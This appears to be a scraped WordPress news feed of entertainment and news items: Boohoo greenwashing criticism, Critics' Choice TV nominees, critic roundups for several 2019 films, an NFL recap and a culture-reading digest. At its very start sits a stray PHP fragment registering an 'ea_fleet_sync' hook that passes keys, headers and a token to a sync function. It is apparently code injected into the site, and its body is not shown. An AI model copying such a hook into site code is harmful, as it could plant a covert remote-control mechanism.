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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Critics – Brief News https://briefnews.eu Latest World News. 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Sun, 18 Sep 2022 00:34:06 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Critics – Brief News https://briefnews.eu 32 32 Fast-fashion brands Boohoo and Pretty Little Thing are getting slammed for greenwashing after critics call sustainability claims misleading https://briefnews.eu/fast-fashion-brands-boohoo-and-pretty-little-thing-are-getting-slammed-for-greenwashing-after-critics-call-sustainability-claims-misleading/ https://briefnews.eu/fast-fashion-brands-boohoo-and-pretty-little-thing-are-getting-slammed-for-greenwashing-after-critics-call-sustainability-claims-misleading/#respond Sun, 18 Sep 2022 00:34:06 +0000 https://briefnews.eu/fast-fashion-brands-boohoo-and-pretty-little-thing-are-getting-slammed-for-greenwashing-after-critics-call-sustainability-claims-misleading/ Models turn the runway of Boohoo by Kourtney Kardashian runway show during New York Fashion Week
Kourtney Kardashian's runway presentation with Boohoo debuted on Sept. 13 during New York Fashion Week 2022.

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  • Boohoo is one of several fast fashion brands under investigation for sustainability practices.
  • Critics claim recent efforts, like debuting more environmentally friendly collections, are acts of greenwashing. 
  • 'The most sustainable thing they can do is just cease operations altogether,' one critic said.

Fast-fashion brands are attempting to appeal to an increasingly eco-friendly audience, but critics aren't so sure their methods have the purest intentions.

UK-based fashion brand Pretty Little Thing and its parent company Boohoo are among the latest retailers facing scrutiny on claims they are misleading consumers that they are environmentally friendly, despite their reputations and investigations that say otherwise. 

Boohoo was the latest to draw ire, after the fast-fashion giant announced a "sustainability and style" collaboration with Kourtney Kardashian Barker earlier this month. The 46-piece collection of garments is made from "recycled fibers," according to a release from Boohoo.

The partnership was met with heavy criticism on social media, Insider's Maria Noyen reported, as users slammed both Kardashian Barker and Boohoo for greenwashing — or "the act or practice of making (something) appear to be more environmentally friendly or less environmentally damaging than it really is," as defined by Merriam-Webster.

Several users pointed out that the company had previously been the subject of a 2019 investigation by the Sunday Times, which found Boohoo's UK factory workers were paid only £3.50, or $ 4.37, an hour.

 

 

The controversy comes on the heels of a separate investigation into potential greenwashing at Boohoo, among other fast-fashion retailers, conducted by the UK's Competition and Markets Authority (CMA) in July, The Guardian reported.

"People who want to 'buy green' should be able to do so confident that they aren't being misled," Sarah Cardell, the interim CMA chief executive, told The Guardian. "Eco-friendly and sustainable products can play a role in tackling climate change, but only if they are genuine." 

Pretty Little Thing also faced greenwashing accusations of its own after announcing its "Pretty Little Thing Marketplace" feature in August. The new app allows users to buy and sell pre-owned garments from PLT and other fashion brands, according to the official website.

Much like the reaction to PLT's parent company over the Kardashian Barker collection, social media and critics users were similarly not happy with the brand's efforts to appear more sustainable, HuffPost reported.

"Their products are trend-led and ultra-fast, meaning they're specifically not designed to be resold or have any longevity whatsoever, so resale is never on the cards for those items," Sustainable fashion editor Brett Staniland told HuffPost. 

He continued: "The most sustainable thing they can do is just cease operations altogether."

Boohoo and PLT aren't the only fast fashion brands getting called out for their attempts to go green. Swedish brand H&M is being sued by a New York student who alleged she overpaid for clothes from the brand's "Conscious Collection" under the guise the products were more eco-friendly than they actually were. 

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Nominees for the 25th annual Critics’ Choice Awards were announced Sunday, setting the stage for a clash of the small-screen titans next month.

Netflix is leading the pack with 31 total nominations, and its own When They See Us emerged as the most-nominated show, with five of its performers scoring individual nods in addition to its nomination for Best Limited Series.

Pop’s Schitt’s Creek and NBC’s This Is Us fared well with five nominations each. Barry, Chernobyl, The Crown, Fleabag, Fosse/Verdon, Game of Thrones, The Good Fight, Unbelievable and Watchmen all netted four nominations a piece.

The winners — including those in the film categories, which you can read here — will be announced during a live ceremony airing Sunday, January 12 at 8/7c on The CW.

Scroll down for the complete list of small-screen nominees, then drop a comment with your thoughts. Which shows and stars will you be rooting for next month?

Best Drama Series
The Crown (Netflix)
David Makes Man (OWN)
Game of Thrones (HBO)
The Good Fight (CBS All Access)
Pose (FX)
Succession (HBO)
This Is Us (NBC)
Watchmen (HBO)

Best Actor in a Drama Series
Sterling K. Brown, This Is Us (NBC)
Mike Colter, Evil (CBS)
Paul Giamatti, Billions (Showtime)
Kit Harington, Game of Thrones (HBO)
Freddie Highmore, The Good Doctor (ABC)
Tobias Menzies, The Crown (Netflix)
Billy Porter, Pose (FX)
Jeremy Strong, Succession (HBO)

Best Actress in a Drama Series
Christine Baranski, The Good Fight (CBS All Access)
Olivia Colman, The Crown (Netflix)
Jodie Comer, Killing Eve (BBC America)
Nicole Kidman, Big Little Lies (HBO)
Regina King, Watchmen (HBO)
Mj Rodriguez, Pose (FX)
Sarah Snook, Succession (HBO)
Zendaya, Euphoria (HBO)

Best Supporting Actor in a Drama Series
Asante Blackk, This Is Us (NBC)
Billy Crudup, The Morning Show (Apple)
Asia Kate Dillon, Billions (Showtime)
Peter Dinklage, Game of Thrones (HBO)
Justin Hartley, This Is Us (NBC)
Delroy Lindo, The Good Fight (CBS All Access)
Tim Blake Nelson, Watchmen (HBO)

Best Supporting Actress in a Drama Series
Helena Bonham Carter, The Crown (Netflix)
Gwendoline Christie, Game of Thrones (HBO)
Laura Dern, Big Little Lies (HBO)
Audra McDonald, The Good Fight (CBS All Access)
Jean Smart, Watchmen (HBO)
Meryl Streep, Big Little Lies (HBO)
Susan Kelechi Watson, This Is Us (NBC)

Best Comedy Series
Barry (HBO)
Fleabag (Amazon Prime)
The Marvelous Mrs. Maisel (Amazon Prime)
Mom (CBS)
One Day at a Time (Netflix)
PEN15 (Hulu)
Schitt’s Creek (Pop)

Best Actor in a Comedy Series
Ted Danson, The Good Place (NBC)
Walton Goggins, The Unicorn (CBS)
Bill Hader, Barry (HBO)
Eugene Levy, Schitt’s Creek (Pop)
Paul Rudd, Living With Yourself (Netflix)
Bashir Salahuddin, Sherman’s Showcase (IFC)
Ramy Youssef, Ramy (Hulu)

Best Actress in a Comedy Series
Christina Applegate, Dead to Me (Netflix)
Alison Brie, GLOW (Netflix)
Rachel Brosnahan, The Marvelous Mrs. Maisel (Amazon Prime)
Kirsten Dunst, On Becoming a God in Central Florida (Showtime)
Julia Louis-Dreyfus, Veep (HBO)
Catherine O’Hara, Schitt’s Creek (Pop)
Phoebe Waller-Bridge, Fleabag (Amazon Prime)

Best Supporting Actor in a Comedy Series
Andre Braugher, Brooklyn Nine-Nine (NBC)
Anthony Carrigan, Barry (HBO)
William Jackson Harper, The Good Place (NBC)
Daniel Levy, Schitt’s Creek (Pop)
Nico Santos, Superstore (NBC)
Andrew Scott, Fleabag (Amazon Prime)
Henry Winkler, Barry (HBO)

Best Supporting Actress in a Comedy Series
Alex Borstein, The Marvelous Mrs. Maisel (Amazon Prime)
D’Arcy Carden, The Good Place (NBC)
Sian Clifford, Fleabag (Amazon Prime)
Betty Gilpin, GLOW (Netflix)
Rita Moreno, One Day at a Time (Netflix)
Annie Murphy, Schitt’s Creek (Pop)
Molly Shannon, The Other Two (Comedy Central)

Best Limited Series
Catch-22 (Hulu)
Chernobyl (HBO)
Fosse/Verdon (FX)
The Loudest Voice (Showtime)
Unbelievable (Netflix)
When They See Us (Netflix)
Years and Years (HBO)

Best Movie Made for TV
Brexit (HBO)
Deadwood: The Movie (HBO)
El Camino: A Breaking Bad Movie (Netflix)
Guava Island (Amazon Prime)
Native Son (HBO)
Patsy & Loretta (Lifetime)

Best Actor in a Movie Made for TV or Limited Series
Christopher Abbott, Catch-22 (Hulu)
Mahershala Ali, True Detective (HBO)
Russell Crowe, The Loudest Voice (Showtime)
Jared Harris, Chernobyl (HBO)
Jharrel Jerome, When They See Us (Netflix)
Sam Rockwell, Fosse/Verdon (FX)
Noah Wyle, The Red Line (CBS)

Best Actress in a Movie Made for TV or Limited Series
Kaitlyn Dever, Unbelievable (Netflix)
Anne Hathaway, Modern Love (Amazon Prime)
Megan Hilty, Patsy & Loretta (Lifetime)
Joey King, The Act (Hulu)
Jessie Mueller, Patsy & Loretta (Lifetime)
Merritt Wever, Unbelievable (Netflix)
Michelle Williams, Fosse/Verdon (FX)

Best Supporting Actor in a Movie Made for TV or Limited Series
Asante Blackk, When They See Us (Netflix)
George Clooney, Catch-22 (Hulu)
John Leguizamo, When They See Us (Netflix)
Dev Patel, Modern Love (Amazon Prime)
Jesse Plemons, El Camino: A Breaking Bad Movie (Netflix)
Stellan Skarsgård, Chernobyl (HBO)
Russell Tovey, Years and Years (HBO)

Best Supporting Actress in a Movie Made for TV or Limited Series
Patricia Arquette, The Act (Hulu)
Marsha Stephanie Blake, When They See Us (Netflix)
Toni Collette, Unbelievable (Netflix)
Niecy Nash, When They See Us (Netflix)
Margaret Qualley, Fosse/Verdon (FX)
Emma Thompson, Years and Years (HBO)
Emily Watson, Chernobyl (HBO)

Best Talk Show
Desus & Mero (Showtime)
Full Frontal With Samantha Bee (TBS)
The Kelly Clarkson Show (NBC)
Last Week Tonight With John Oliver (HBO)
The Late Late Show With James Corden (CBS)
Late Night With Seth Meyers (NBC)

Best Animated Series
Big Mouth (Netflix)
BoJack Horseman (Netflix)
The Dark Crystal: Age of Resistance (Netflix)
She-Ra and the Princesses of Power (Netflix)
The Simpsons (Fox)
Undone (Amazon Prime)

Best Comedy Special
Amy Schumer: Growing (Netflix)
Jenny Slate: Stage Fright (Netflix)
Live in Front of a Studio Audience: Norman Lear’s All in the Family and The Jeffersons (ABC)
Ramy Youssef: Feelings (HBO)
Seth Meyers: Lobby Baby (Netflix)
Trevor Noah: Son of Patricia (Netflix)
Wanda Sykes: Not Normal (Netflix)

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The Dirt tells the true story of Mötley Crüe’s rise to fame and subsequent trials and tribulations. The movie is based on their collectively written autobiography from 2001. Netflix brought the film, which had languished in development hell since 2006, to internet streaming sites on Friday, March 22, 2019.

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What do critics say about The Dirt?

The Dirt has a Rotten Tomatoes score of 45 percent, indicating negative reviews.

Keith Uhlich for the Hollywood Reporter:

None of it adds up to much beyond painting the band, despite their often repellently bad behaviour, in a flattering light.

Owen Gleiberman for Variety:

It’s just a thinly written VH1-style sketchbook of a movie – which is to say, it’s a Netflix film, with zero atmosphere, overly blunt lighting, and a threadbare post-psychological telegraphed quality that gives you nothing to read between the lines.

Emily Yoshida for New York Magazine/Vulture:

Its own pointlessness may keep The Dirt from feeling like an actual affront to humanity, but that doesn’t make it very good, either.

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The Dirt: The Motley Crue biopic has come to Netflix (Image: Netflix)

Lorraine Ali for the Los Angeles Times:

It’s as if the film arrived to the streaming service in a bubble, unaware that the culture has moved on and that Netflix is brimming with content written, directed and starring strong women.

Rafer Guzman for Newsday:

A delightfully disreputable biopic about some of rock’s last true bad boys.

Alex McLevy for AV Club:

If only it could be half as fun as Mötley Crüe thinks it is.

Spencer Kornhaber for The Atlantic:

The danger of a document like The Dirt is in showing pigheadedness as not only fun and cool, but also elemental, inexplicable, and unstoppable. Boys will be boys, boys, boys.

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The Dirt: Critics have not been kind to the subpar biopic about Motley Crue (Image: Netflix)

Adam Graham for Detroit News:

A bit of introspection would heighten the experience and deepen the characters, but Tremaine leans on familiar themes of tribal unity to glaze over the thinner sections of the script.

David Ehrlich for indieWire:

Rock biopics often struggle with the part after the party’s over, but The Dirt becomes unusually adrift; at times, you can’t even tell what decade you’re supposed to be watching…

Brian Tallerico for RogerEbert.com:

You could listen to Dr Feelgood two full times during the run time of The Dirt and learn just about as much about the band as you do in this R-rated Wikipedia article of a movie.

Jason Bailey for the New York Times:

“A junior varsity Bohemian Rhapsody” complete with many of the same crude devices: embarrassingly bad wigs, hilariously on-the-nose needle drops (the band plays Take Me to the Top as they go … to the top) and declamatory, subtext-free dialogue.

THE HIGHWAYMEN ON NETFLIX REVIEWS: WHAT DO CRITICS SAY ABOUT THE FILM?

The Dirt

The Dirt: The Motley Crue biopic has a 45 percent score on Rotten Tomatoes (Image: Netflix)

Audra Schroeder for The Daily Dot:

The biopic works a little too hard to suggest that they were really just good boys from broken homes who got sucked into the void of music industry excess.

Molly Freeman for ScreenRant:

Netflix’s The Dirt has all the sensationalist sex, drugs and rock ‘n’ roll of Mötley Crüe, but little heart despite its attempts to humanize the band.

Chuck Bowen for Slant Magazine:

Like most biopics, The Dirt crams so many events into its narrative as to compromise the sense that these are real characters in the here and now.

Amy Zimmerman for The Daily Beast:

A tasteless celebration of rock-star clichés.

The Dirt is available to stream on Netflix now

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Alita: Battle Angel is set several centuries in the future, the film starts when the abandoned Alita is found in the scrapyard of Iron City by Ido, a compassionate cyber-doctor who takes the unconscious cyborg Alita to his clinic. When Alita awakens, she has no memory of who she is, nor does she have any recognition of the world she finds herself in. As Alita learns to navigate her new life and the treacherous streets of Iron City, Ido tries to shield her from her mysterious past.

Why is Alita: Battle Angel so bad?

It’s never easy to pinpoint exactly what makes a movie bad.

Critics and moviegoers all have different tastes, and one person’s hit is another person’s flop.

On the whole, critics took issue with lack of exposition and reliance on CGI for storytelling.

The CGI is impressive according to movie reviews, but can’t make up for haphazard storytelling.

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Tim Robey at the Daily Telegraph wrote: “It’ll remind you of 50 other films at least, from The Fifth Element to Blade Runner, and for anyone unlucky enough to have seen it, the crashingly tedious Total Recall remake.”

Anne Cohen at Refinery29 took special issue with the male gaze rampant in the film.

She wrote: “I wish Alita: Battle Angel had been made by a woman.

“The cyberpunk action film inspired by Yukito Kishiro’s manga Gunnm, could have been a game-changer in the way women — and specifically teenage girls — are portrayed on screen.

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“A bounty-hunter cyborg with the power to bring down toxic masculinity? Sign me up!

“But alas — Robert Rodriguez directed James Cameron’s pet project, and instead of a complex, vibrant female character, Alita (Rosa Salazar) is reduced to a wide-eyed young woman (literally, her CGI-avatar eyes are huge) who feels more like a male fantasy than a woman’s idea of a hero.”

Another criticism levelled at Alita: Battle Angel is the obviousness with which it sets up sequels.

ScreenJunkies writer Dan Murrel expressed exasperation at watching a movie “about the seven other movies they’re going to make after this one.”

GLASS REVIEWS: WHAT ARE THE CRITICS SAYING ABOUT GLASS?

A parallel could easily be drawn between Alita: Battle Angle, a would-be franchise, and Michael Bay’s Transformers franchise, which suffered from the same problem.

With Bumblebee, however, Bay’s lascivious camera was traded for a younger, less sexualised one.

The result was a critically acclaimed movie that reinvigorated the Transformers franchise, sans male gaze.

Alita: Battle Angel seems to be suffering the fate that Bumblebee avoided, simply by making its main character a complex and well-rounded girl in an unbelievable sci-fi world.

STAN AND OLLIE REVIEWS: WHAT DO CRITICS SAY ABOUT THE COMEDY?

Of the plethora of characters, Cohen reported only four spoke and they almost never spoke to each other.

This is a clear failure of the Bechdel test. And though the Bechdel test does not guarantee critical success, it is a pretty good indicator according to this study.

Reviews as a whole have focussed on the mechanism of the movie – its CGI and clunky script.

However, Cohen aptly focusses on the one point which should have made Alita: Battle Angel great, Alita herself; ultimately, the movie let her down.

Alita: Battle Angel is out in UK cinemas on February 6, 2019.

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How to Train Your Dragon was the surprise hit of 2010, popular with kids and adults alike. How To Train Your Dragon 2 followed in 2014, and has a 92 per cent rating on Rotten Tomatoes. In 2012, the initial release date for How To Train Your Dragon 3 was set as June 18, 2016, then pushed up a day, then pushed back by a year to June 2017.

What do critics say about How to Train Your Dragon: The Hidden World?

How to Train Your Dragon: The Hidden World currently holds 98 per cent on Rotten Tomatoes.

The critics’ consensus reads: “The rare trilogy capper that really works, How to Train Your Dragon: The Hidden World brings its saga to a visually dazzling and emotionally affecting conclusion.”

The How to Train Your Dragon franchise is rare for its ability to maintain such a high rating across three films.

The first movie also has a Rotten Tomatoes score of 98 per cent.

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Hope Corrigan from IGN Movies

How to Train Your Dragon: The Hidden World is a fantastic, visually stunning and poignant way to end this beloved trilogy.

Larushka Ivan-Zadeh from Metro (UK)

The heart is strong with this franchise and given there are 12 books in Cressida Cowell’s original multimillion-selling series, I doubt it’s actually the last we’ll see of Hiccup et al.

Allan Hunter from The List

The Hidden World eventually reaches a satisfying conclusion but it doesn’t always soar along the way.

Beth Webb from Little White Lies

Light in plot but heavy on friendship, DeBlois delivers a sad but sensible farewell.

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Sarah Ward from Screen International

Eight years on, the How to Train Your Dragon films might not break any new aesthetic ground… but they remain as vibrant as ever.

Philip De Semlyen from Time Out

The visual soars but the franchise’s emotional heartbeat struggles to make itself heard over the din of subplots and the annoying banter of Hiccup’s teen tribemates.

Michael Rechtshaffen from Hollywood Reporter

All told, by the time How to Train Your Dragon: The Hidden World nears the end of its Harry Potter-esque closing trajectory, in which Hiccup must learn how to let go, the bittersweet result will have audiences finding it equally hard to say goodbye.

Peter Debruge from Variety

How to Train Your Dragon: The Hidden World packs the emotional heft of the dozen or so years it has taken to get this far, tracking the loss of one parent, the discovery of another, and several momentous lessons in bravery and loyalty along the way.

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Robert Abele from TheWrap

Writer-director Dean DeBlois caps his emotionally intelligent adaptation of the Vikings-and-dragons book series with an enjoyable, beautiful story of destiny and freedom.

Michael Nordine from indieWire

The Hidden World strikes a bittersweet chord in reminding its young audience that all good things – including the age of dragons – must come to an end.

Neil Smith from Total Film

It’s when the film is at its simplest that it proves most irresistible.

Kevin Maher from the Times

Some visually spectacular set pieces and some deliciously villainous vocal work from F Murray Abraham as the psychopathic dragon-killer Grimmel are reasons alone to see this third…part of the consistently charming kiddie franchise.

Robbie Collin from the Daily Telegraph 

For viewers steeped in the sagas of the young Viking Hiccup and his lovable scaly steed Toothless, it’s possible the third How To Train Your Dragon film will serve as a rousing trilogy-closer.

Chris Hunneysett from the Daily Mirror

Take wing on the breathtaking visuals and warm emotional currents of this epic animated action fantasy, which makes a soaring success of the third in the trilogy featuring Toothless the lovable dragon and his Viking friend, Hiccup.

How to Train Your Dragon: The Hidden World is now playing in cinemas.

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The Lego Movie 2 is the much-anticipated sequel to the critically acclaimed, global box office phenomenon The Lego Movie. In the sequel, the heroes of Bricksburg are back to save their beloved city from Lego Duplo invaders. Five years since the first movie started a global pop culture franchise, The Lego Movie 2 reunited many characters from across Warner Bros various films.

What do critics say about The Lego Movie 2?

The Lego Movie 2 has a 92 percent fresh rating on Rotten Tomatoes.

The websites critics’ consensus reads: “Critics Consensus: While it isn’t quite as much fun as its predecessor, The LEGO Movie 2: The Second Part fits neatly into an animated all-ages franchise with heart and humour to spare.”

The first Lego Movie has a rating of 95 per cent on Rotten Tomatoes.

As the sequel rolls out across the world, its score is likely to fluctuate.

THE UPSIDE REVIEWS: WHAT ARE CRITICS SAYING ABOUT THE UPSIDE?

Richard Roeper from the Chicago Sun-Times

“The filmmakers occasionally remind us the animated adventures are reflecting the real-world sibling dynamic, but they never get too heavy-handed with the life-lesson messaging.”

Lindsey Bahr from the Associated Press

“The LEGO Movie 2: The Second Part is pretty darn good, but also you can’t help shake the feeling that it’s just never going to live up to the exciting newness of the first.”

Peter Bradshaw from the Guardian

“The second Lego Movie is even better than the original: a sophisticated new adventure that gives us a new look at how the universality of the Lego universe was more gendered than we thought.”

Jesse Hassenger from AV Club

“The Lego Movie 2 is lovable.”

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Jude Dry from indieWire

“Everyone’s gotta grow up sometimes, even animated movie franchises.”

Peter Debruge from Variety

“What amounts to a really entertaining feature-length commercial.”

Yolanda Machado from TheWrap

“Expands on the original’s premise, adding new worlds and characters to the growing LEGO universe, while also crafting a story that is timely, inventive, hilarious and perfect for all ages.”

Chris Nashawaty from Entertainment Weekly

“Everything is still awesome. Just a little bit less so.”

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Michael Rechtshaffen from The Hollywood Reporter

“Proves every bit as repetitive and uninspired as its glib title, bringing little that’s fresh or funny to the interlocking brick table despite boasting a script penned by originators Phil Lord and Christopher Miller.”

John Nugent from Empire

“Fuelled by adrenaline, sugar and plastic, The Lego Movie’s Second Part does not entirely reinvent the brick from the First Part.

“But when the formula is this clever and fun, should we even care?”

Molly Freeman from Screen Rant

“The LEGO Movie 2: The Second Part is another imaginative adventure, building off the first film in inventive ways, and a blast for viewers of any age.”

The Lego Movie 2: The Second Part is out in UK cinemas on February 8, 2019.

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  • The New England Patriots routed the Los Angeles Chargers, 41-28, on Sunday to make the AFC Championship.
  • After the game, while discussing the Patriots’ upcoming matchup with the Kansas City Chiefs, Tom Brady mocked critics who think the Patriots “suck” and “can’t win any games.”
  • The Patriots will have the rare challenge of having to play the AFC Championship on the road when they go into Kansas City to play the Chiefs.

Tom Brady and the New England Patriots added another win to their playoff history, routing the Los Angeles Chargers, 41-28, on Sunday.

The final score made the game look closer than it really was. The Patriots went up 35-7 at halftime, moving the ball with ease while their defense suffocated the Chargers. It continued in the second half until the Chargers scored some desperation touchdowns late in the game.

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The official plot synopsis for A Dog’s Way Home reads: “As a puppy, Bella finds her way into the arms of Lucas, a young man who gives her a good home. When Bella becomes separated from Lucas, she soon finds herself on an epic, 400-mile journey to reunite with her beloved owner. Along the way, the lost but spirited dog touches the lives of an orphaned mountain lion, a down-on-his-luck veteran and some friendly strangers who happen to cross her path.”

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What do critics say about A Dog’s Way Home?

A Dog’s Way Home has a fresh rating of 69 percent on reviews aggregator Rotten Tomatoes.

Lindsey Bahr from Associated Press:

“Although it might be a stretch to categorize this as a movie, A Dog’s Way Home is harmless enough and a nice little adventure that’s fit for the whole family.

“But you might want to have the tissues ready.”

Jude Dry from indieWire:

“This franchise should follow its own advice: Find a purpose, a way home, or show yourself the doggy door.”

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A Dog’s Way Home: The movie stars Ashley Judd and Bryce Dallas Howard as the voice of Bella (Image: Sony)

Rafer Guzman from Newsday:

“It’s a dog of a movie, alright.”

Yolanda Machado from TheWrap:

“A Dog’s Way Home is a joyless jaunt that offers an adorable canine star and not much else.”

Katie Rife from AV Club:

“Director Charles Martin Smith ploughs through the darker material at a relentlessly cheerful kids’-movie clip, for an incongruous marriage of tone and subject matter that’s honestly a bit unsettling.”

Courtney Howard from Variety:

“This family-friendly adventure, reminiscent of ‘The Incredible Journey,’ follows a tried-and-true but heartwarming path.”

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Frank Scheck from Hollywood Reporter:

“Dog lovers of all ages will warm up to its adventure tale about a plucky pooch who embarks on a 400-mile journey to get back home to his beloved owner.”

Glenn Kenny from the New York Times:

“As ridiculous as it gets, and that’s plenty, A Dog’s Way Home manages to serve up a one-to-two-hankie finale, depending on the extent of your dog-person-ness.”

Hoai-Tran Bui from Slashfilm:

“Who is this for? Not the kid next to me squirming impatiently as Bella nearly dies of dehydration.”

Robert Kojder from Flickering Myth:

“There is a game Bella and Lucas play called ‘Go Home’ to avoid being impounded by authorities; it’s a game I wanted to play around 20 minutes into the film.”

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A Dog’s Way Home: The movie has a respectable 69 percent on Rotten Tomatoes (Image: Sony)

Sandie Angulo Chen from Common Sense Media:

“Sentimental but sweet dog adventure has intense, sad scenes.”

Joey Magidson from Hollywood News:

“Manipulative or not, this tale made me cry almost uncontrollably.

“One specific tragic moment and one of happy release had me openly sobbing.”

Tomris Laffly from RogerEbert.com

“Between its belief in cross-species friendship, unmistakable anti-hunting/environmentalist message and overall progressive tone, A Dog’s Way Home is a good dog movie with its heart in the right place, just like any nameless canine regardless of its breed.”

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A Dog’s Way Home: The movie charts a dog’s journey to her owner (Image: Sony)

Katie Walsh from Chicago Tribune:

“Even the cute factor of A Dog’s Way Home can’t obscure its narrative weaknesses.”

Roger Moore from Movie Nation:

“Dog’s Way Home is aimed at the very young, so don’t expect anything challenging.

“It moves along but felt limp and kind of lifeless, for all the sentimentality Smith & Co. serve up.”

A Dog’s Way Home is out in cinemas on January 25, 2019.

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The movie has been a runaway success with fans and roared past $ 740million at the global box office. Many critics, however, were less enamoured of the rock biopic, accusing it of avoiding the more difficult aspects of Freddie’s life. Who is right? After Bohemian Rhapsody scooped Best Film- Drama at the Golden Globes, Queen icon May said critics made a fundamental mistake and were then too proud to admit they were wrong.

Much of the controversy stems from the original split with former leading man Sacha Baron Cohen.

It was widely reported that Cohen had left the project because May and the filmmakers were not willing to address the darker side of Freddie’s life. May already publicly called Cohen an “ar**’ and disputed his account of the situation.

Rami Malek has also explained how the finished movie was always intended as a celebration of the music and Freddie’s unique spirit. malek’s performance has been universally praised and his Golden Globes Best Actor gong has made him hot favourite for this years Oscars.

Malek told Film Four: “There’s, of course, a gratuitous, illicit, hedonistic side to this film you could go down, but you want to hint at that so you can live in the joy of what this band means to so many people.

“When you hear Queen there is a smile on your face whatever the song is… So why not celebrate the band who made that song?”

At the backstage celebrations following the Golden Globes wins, May directly addressed the issue of poor reviews and criticism from the critics.

May said: “The mistake that critics made was reviewing the trailer instead of reviewing the film. They jumped to conclusions.

“Once people stake their claim, it’s hard for them to withdraw.”

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Michael Schulman interviews Robert De Niro.

Robert De Niro doesn’t give a lot of interviews — and when he does, he’s known to be a tough one. He’s not combative or evasive; he just does what he does, and doesn’t really like to talk about it. But Schulman’s sit-down for the New Yorker gets some good quotes out of the iconic actor, particularly on how his best-known characters relate to the current cultural moment:

I do find it interesting that you’ve played so many men who’ve felt this rage and alienation—even Jack Byrnes in “Meet the Parents,” who can’t access his emotions. Between Trump and #MeToo, it’s been a rough couple years for masculinity. What does being a real man mean to you?

Being a real man is not just being a man the way you’d think. If you think that I should do this or that or I’m not a man—I’m sorry. Men are much more complex, and there are many more sides to them. You gotta be sensitive. You gotta care about people, have empathy. And someone like Trump, he’s got something screwed loose in his head. But it’s through some deep insecurity that he actually behaves the way he does, because it’s all bullshit. And people buy into that with him, with his behavior. It’s sad. That’s not what life is about. But some people are in cultures where they’re all like that, they all reinforce it in each other. The sensitive ones are afraid to say anything. I made a movie, “A Bronx Tale,” and those kids, they don’t want to look like they’re not tough with their peers. The bottom line is, you gotta be an individual and you gotta stand up and be who you are.

That’s a good way to put it: toughness. People see Trump as tough—

He’s not tough.

—but your work has explored toughness in a lot of different varieties, and there’s good toughness and bad toughness.

You don’t have to behave the way he does. That’s just bullshit bravado. It has nothing to do with anything. If you’re tough, you’d be making decisions that he hasn’t made.

Steve Edwards on aging and reading.

We can all agree (well, those of us who aren’t jerks) that few things are as exciting and enlightening as a trip to the bookstore, wandering the aisles, deciding what deserves not only our hard-earned money, but our hard-fought attention. In an insightful personal essay at Lithub, author Edwards notes the difference between taking that trip in his 20s and taking it now, in his 40s — how the book stack used to tell him who he wanted to be, and now it says much about who he is and was.

I’d started coming to bookstores because I wanted to learn how to write and the only consistent advice I got from established writers was to read everything. It was good advice. It’s still good advice. It’s also impossible. No one reads everything, nor even all the books they’d like to. You make your choices, come what may. John Muir’s famous quote about ecology might as well have been about choosing what books to buy: “When we try to pick out anything by itself, we find it hitched to everything else in the Universe.” The bookstore is a liminal space. Even if like me you don’t have the cash to buy a box of new titles and reinvent yourself week to week, you have the moment of the choosing and everything it tugs upon.

As a young writer, I thought I had to read widely in order to learn different authors’ styles and sentence structures and voices. I thought I needed a sense of what sang and what sold, what had been done and done to death. But what I needed more than anything were the consequences of my choices. I needed to live the lives the books I read compelled me to lead—to be brave, big-hearted, open to surprise and welcoming of mystery. Until I had a lived, my study of sentences was nothing more than a corkboard of pin-stuck insects arranged by genus and species. I could gain knowledge from such cold classifications but it wasn’t the same as standing in some open mountain meadow, flowers teeming with wings, crickets under every rock. What I needed was the quality of attention the writers I loved brought to the page, their fidelity to translating perception into sequences of language that edified me for losing (and finding) myself in them. If I wanted to understand crickets, I had to become like the grasses in the meadow soaking up every call.

Julia Alexander on “Mystery Brand.”

Few writers are as skilled at navigating the confounding waters of YouTube “influencers” like Alexander, and her latest for The Verge is a doozy: Jake Paul and Brian “RiceGum” Le are in hot water for running sponsored videos for a sketchy company called Mystery Brand, “a form of loot box-style gambling” in which buyers might win valuable prizes like designer clothes, high-dollar sneakers, and even cars and houses. But probably not. And YouTube isn’t doing a thing about it.

“YouTube believes that creators should be transparent with their audiences if their content includes paid promotion of any kind,” a YouTube spokesperson told The Verge before Le’s apology video was posted. “Our policies make it clear that YouTube creators are responsible for ensuring their content complies with local laws, regulations and YouTube Community Guidelines. If content is found to violate these policies, we take action to ensure the integrity of our platform, which can include removing content.”

YouTube’s policy allows for responsible gambling ads, with restrictions and protections for those watching, but the site doesn’t consider Mystery Brands or loot box-style games as gambling. Essentially, Paul’s and Le’s videos exist in a very specific gray area. YouTube’s policies do state that creators can not promote spam, deceptive practices, or scams, even through partnerships. If YouTube determines a company is taking advantage of users, its policy is to take down sponsored videos for violating the company’s community guidelines — but so far, it’s not clear whether Mystery Brand has broken those rules. But those policy nuances haven’t stopped other creators from calling out Paul and Le for intentionally misleading their followers.

Todd VanDerWerff on why cultural criticism matters.

And here’s one more year-end piece, which snuck in just under the wire on New Year’s Eve. It’s been a rough damn year for arts criticism. The Village Voice is gone, and Voice Media is shuttering its TV and film verticals. The AV Club, BuzzFeed, The Fader, and this very site have seen layoffs for critical voices. And it’s easy to assume that in this moment where the stakes of our politics are literally life and death, such losses are acceptable — after all, it’s just entertainment. Vox‘s VanDerWerff argues the contrary.

Once we know where we’re going, all of this will make more sense. But culture writing isn’t about predicting the future — it’s about predicting the present.

When I make the above argument in favor of cultural criticism to journalistic colleagues who deal in what might be dubbed the “hard sciences” of journalism — data-driven, boots-on-the-ground reporting — I am always aware that it sounds just a little fantastical. And there have been many times that I and my critical brethren have just plumb missed something burbling away in the national subconscious. Few critics looked at the pop culture of the early 2010s and said, “Yep, a culture war’s brewing,” even if it seems blindingly obvious in hindsight.

You can attribute at least some of missing that particular boat to the geographical concentration of cultural critics in New York and Los Angeles (where I live). The homogeneity of critics — too many of us are white, too many of us are male, and too many of us live on one of the coasts — is a real problem that needs to be corrected sooner, rather than later, if we are to better understand the dreams a multicultural nation is having, sometimes in parallel and sometimes in bloody intersection.

                        

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